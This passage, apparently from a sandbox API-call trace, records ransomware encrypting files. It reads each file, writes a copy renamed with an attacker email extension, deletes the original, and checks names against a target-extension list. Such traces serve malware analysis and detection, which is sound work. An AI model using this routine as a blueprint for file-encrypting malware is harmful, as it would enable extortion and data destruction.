lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x232c8, lpOverlapped=0x0) returned 1 [0093.995] WriteFile (in: hFile=0x2f4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x232d0, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x232d0, lpOverlapped=0x0) returned 1 [0094.000] ReadFile (in: hFile=0x2b8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0094.000] WriteFile (in: hFile=0x2f4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf8, lpOverlapped=0x0) returned 1 [0094.000] SetEndOfFile (hFile=0x2f4) returned 1 [0094.001] CloseHandle (hObject=0x2f4) returned 1 [0094.008] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.008] SetEndOfFile (hFile=0x2b8) returned 1 [0094.011] CloseHandle (hObject=0x2b8) returned 1 [0094.011] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.011] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll" (normalized: "c:\\$getcurrent\\safeos\\getcurrentoobe.dll")) returned 1 [0094.012] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.012] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.012] lstrlenW (lpString=".doc") returned 4 [0094.012] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0094.012] lstrlenW (lpString=".docx") returned 5 [0094.012] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0094.351] lstrlenW (lpString=".pdf") returned 4 [0094.351] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0094.351] lstrlenW (lpString=".xls") returned 4 [0094.351] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0094.351] lstrlenW (lpString=".xlsx") returned 5 [0094.351] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0094.351] lstrlenW (lpString=".ppt") returned 4 [0094.351] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0094.351] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.351] lstrlenW (lpString=".zip") returned 4 [0094.351] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0094.351] lstrlenW (lpString=".rar") returned 4 [0094.351] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0094.351] lstrlenW (lpString=".bz2") returned 4 [0094.351] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0094.352] lstrlenW (lpString=".7z") returned 3 [0094.352] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0094.352] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.352] lstrlenW (lpString=".dbf") returned 4 [0094.352] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0094.352] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.352] lstrlenW (lpString=".1cd") returned 4 [0094.352] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0094.352] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.352] lstrlenW (lpString=".jpg") returned 4 [0094.352] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0094.352] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.352] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.352] lstrlenW (lpString=".doc") returned 4 [0094.352] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0094.352] lstrlenW (lpString=".docx") returned 5 [0094.352] lstrcmpiW (lpString1=".docx", lpString2="E.dll") returned -1 [0094.352] lstrlenW (lpString=".pdf") returned 4 [0094.352] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0094.352] lstrlenW (lpString=".xls") returned 4 [0094.352] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0094.352] lstrlenW (lpString=".xlsx") returned 5 [0094.352] lstrcmpiW (lpString1=".xlsx", lpString2="E.dll") returned -1 [0094.352] lstrlenW (lpString=".ppt") returned 4 [0094.352] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0094.352] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.353] lstrlenW (lpString=".zip") returned 4 [0094.353] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0094.353] lstrlenW (lpString=".rar") returned 4 [0094.353] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0094.353] lstrlenW (lpString=".bz2") returned 4 [0094.353] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0094.353] lstrlenW (lpString=".7z") returned 3 [0094.353] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0094.353] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.353] lstrlenW (lpString=".dbf") returned 4 [0094.353] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0094.353] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.353] lstrlenW (lpString=".1cd") returned 4 [0094.353] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0094.353] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentOOBE.dll") returned 40 [0094.353] lstrlenW (lpString=".jpg") returned 4 [0094.353] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0094.353] lstrcmpiW (lpString1=".cmd", lpString2=".love$") returned -1 [0094.353] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24 [0094.353] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.354] GetFileSizeEx (in: hFile=0x2c8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=577) returned 1 [0094.354] CloseHandle (hObject=0x2c8) returned 1 [0094.354] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 0x20 [0094.354] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.354] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c8 [0094.354] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.354] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.355] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0094.355] GetLastError () returned 0x0 [0094.355] ReadFile (in: hFile=0x2c8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x241, lpOverlapped=0x0) returned 1 [0094.358] WriteFile (in: hFile=0x2d4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x250, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x250, lpOverlapped=0x0) returned 1 [0094.359] ReadFile (in: hFile=0x2c8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0094.359] WriteFile (in: hFile=0x2d4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x104, lpOverlapped=0x0) returned 1 [0094.359] SetEndOfFile (hFile=0x2d4) returned 1 [0094.359] CloseHandle (hObject=0x2d4) returned 1 [0094.364] SetFilePointerEx (in: hFile=0x2c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.364] SetEndOfFile (hFile=0x2c8) returned 1 [0094.365] CloseHandle (hObject=0x2c8) returned 1 [0094.365] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.366] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\partnersetupcomplete.cmd")) returned 1 [0094.366] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.366] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.366] lstrlenW (lpString=".doc") returned 4 [0094.366] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0094.366] lstrlenW (lpString=".docx") returned 5 [0094.366] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0094.366] lstrlenW (lpString=".pdf") returned 4 [0094.366] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0094.366] lstrlenW (lpString=".xls") returned 4 [0094.366] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0094.366] lstrlenW (lpString=".xlsx") returned 5 [0094.366] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0094.367] lstrlenW (lpString=".ppt") returned 4 [0094.367] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0094.367] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.367] lstrlenW (lpString=".zip") returned 4 [0094.367] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0094.367] lstrlenW (lpString=".rar") returned 4 [0094.367] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0094.367] lstrlenW (lpString=".bz2") returned 4 [0094.367] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0094.367] lstrlenW (lpString=".7z") returned 3 [0094.367] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0094.367] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.367] lstrlenW (lpString=".dbf") returned 4 [0094.367] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0094.367] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.367] lstrlenW (lpString=".1cd") returned 4 [0094.367] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0094.367] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.367] lstrlenW (lpString=".jpg") returned 4 [0094.367] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0094.367] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.367] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.367] lstrlenW (lpString=".doc") returned 4 [0094.367] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0094.367] lstrlenW (lpString=".docx") returned 5 [0094.367] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0094.367] lstrlenW (lpString=".pdf") returned 4 [0094.368] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0094.368] lstrlenW (lpString=".xls") returned 4 [0094.368] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0094.368] lstrlenW (lpString=".xlsx") returned 5 [0094.368] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0094.368] lstrlenW (lpString=".ppt") returned 4 [0094.368] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0094.368] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.368] lstrlenW (lpString=".zip") returned 4 [0094.368] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0094.368] lstrlenW (lpString=".rar") returned 4 [0094.368] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0094.368] lstrlenW (lpString=".bz2") returned 4 [0094.368] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0094.368] lstrlenW (lpString=".7z") returned 3 [0094.368] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0094.368] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.368] lstrlenW (lpString=".dbf") returned 4 [0094.368] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0094.368] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.368] lstrlenW (lpString=".1cd") returned 4 [0094.368] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0094.368] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\PartnerSetupComplete.cmd") returned 46 [0094.368] lstrlenW (lpString=".jpg") returned 4 [0094.368] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0094.369] lstrcmpiW (lpString1=".cmd", lpString2=".love$") returned -1 [0094.369] lstrlenW (lpString="preoobe.cmd") returned 11 [0094.369] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.408] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=74) returned 1 [0094.408] CloseHandle (hObject=0x2b8) returned 1 [0094.408] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 0x20 [0094.409] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.409] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.409] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.409] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.409] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.409] GetLastError () returned 0x0 [0094.409] ReadFile (in: hFile=0x2b8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x4a, lpOverlapped=0x0) returned 1 [0094.411] WriteFile (in: hFile=0x2f4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x50, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x50, lpOverlapped=0x0) returned 1 [0094.412] ReadFile (in: hFile=0x2b8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0094.412] WriteFile (in: hFile=0x2f4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xea, lpOverlapped=0x0) returned 1 [0094.412] SetEndOfFile (hFile=0x2f4) returned 1 [0094.412] CloseHandle (hObject=0x2f4) returned 1 [0094.418] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.418] SetEndOfFile (hFile=0x2b8) returned 1 [0094.420] CloseHandle (hObject=0x2b8) returned 1 [0094.420] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0094.420] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\preoobe.cmd" (normalized: "c:\\$getcurrent\\safeos\\preoobe.cmd")) returned 1 [0094.420] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.420] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.420] lstrlenW (lpString=".doc") returned 4 [0094.421] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString=".docx") returned 5 [0094.421] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0094.421] lstrlenW (lpString=".pdf") returned 4 [0094.421] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString=".xls") returned 4 [0094.421] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString=".xlsx") returned 5 [0094.421] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0094.421] lstrlenW (lpString=".ppt") returned 4 [0094.421] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.421] lstrlenW (lpString=".zip") returned 4 [0094.421] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString=".rar") returned 4 [0094.421] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString=".bz2") returned 4 [0094.421] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0094.421] lstrlenW (lpString=".7z") returned 3 [0094.421] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0094.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.421] lstrlenW (lpString=".dbf") returned 4 [0094.421] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.421] lstrlenW (lpString=".1cd") returned 4 [0094.421] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0094.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.421] lstrlenW (lpString=".jpg") returned 4 [0094.421] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.421] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.421] lstrlenW (lpString=".doc") returned 4 [0094.421] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1 [0094.421] lstrlenW (lpString=".docx") returned 5 [0094.422] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1 [0094.422] lstrlenW (lpString=".pdf") returned 4 [0094.422] lstrcmpiW (lpString1=".pdf", lpString2=".cmd") returned 1 [0094.422] lstrlenW (lpString=".xls") returned 4 [0094.422] lstrcmpiW (lpString1=".xls", lpString2=".cmd") returned 1 [0094.422] lstrlenW (lpString=".xlsx") returned 5 [0094.422] lstrcmpiW (lpString1=".xlsx", lpString2="e.cmd") returned -1 [0094.422] lstrlenW (lpString=".ppt") returned 4 [0094.422] lstrcmpiW (lpString1=".ppt", lpString2=".cmd") returned 1 [0094.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.422] lstrlenW (lpString=".zip") returned 4 [0094.422] lstrcmpiW (lpString1=".zip", lpString2=".cmd") returned 1 [0094.422] lstrlenW (lpString=".rar") returned 4 [0094.422] lstrcmpiW (lpString1=".rar", lpString2=".cmd") returned 1 [0094.422] lstrlenW (lpString=".bz2") returned 4 [0094.422] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1 [0094.422] lstrlenW (lpString=".7z") returned 3 [0094.422] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1 [0094.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.422] lstrlenW (lpString=".dbf") returned 4 [0094.422] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1 [0094.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.422] lstrlenW (lpString=".1cd") returned 4 [0094.422] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1 [0094.422] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\preoobe.cmd") returned 33 [0094.422] lstrlenW (lpString=".jpg") returned 4 [0094.422] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1 [0094.422] lstrcmpiW (lpString1=".dll", lpString2=".love$") returned -1 [0094.422] lstrlenW (lpString="SetupResources.dll") returned 18 [0094.422] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.424] GetFileSizeEx (in: hFile=0x2b8, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=17240) returned 1 [0094.424] CloseHandle (hObject=0x2b8) returned 1 [0094.424] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 0x80 [0094.424] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0094.424] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2b8 [0094.424] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.425] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.425] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0094.486] GetLastError () returned 0x0 [0094.486] ReadFile (in: hFile=0x2b8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x4358, lpOverlapped=0x0) returned 1 [0094.499] WriteFile (in: hFile=0x2f4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0x4360, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0x4360, lpOverlapped=0x0) returned 1 [0094.500] ReadFile (in: hFile=0x2b8, lpBuffer=0x36e8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2bdfecc, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesRead=0x2bdfecc*=0x0, lpOverlapped=0x0) returned 1 [0094.500] WriteFile (in: hFile=0x2f4, lpBuffer=0x36e8020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2bdfc94, lpOverlapped=0x0 | out: lpBuffer=0x36e8020*, lpNumberOfBytesWritten=0x2bdfc94*=0xf8, lpOverlapped=0x0) returned 1 [0094.501] SetEndOfFile (hFile=0x2f4) returned 1 [0094.501] CloseHandle (hObject=0x2f4) returned 1 [0094.504] SetFilePointerEx (in: hFile=0x2b8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2bdfec0 | out: lpNewFilePointer=0x0) returned 1 [0094.504] SetEndOfFile (hFile=0x2b8) returned 1 [0094.516] CloseHandle (hObject=0x2b8) returned 1 [0094.517] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x80) returned 1 [0094.517] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1025\\setupresources.dll")) returned 1 [0094.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.518] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\SetupResources.dll") returned 45 [0094.518] lstrlenW (lpString=".doc") returned 4 [0094.518] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0094.518] lstrlenW (lpString=".docx") returned 5 [0094.518] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0094.518] lstrlenW (lpString=".pdf") returned 4 [0094.518] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0094.518] lstrlenW (lpString=".xls") returned 4 [0094.518] lstrcmpiW (lpString1=".xls", 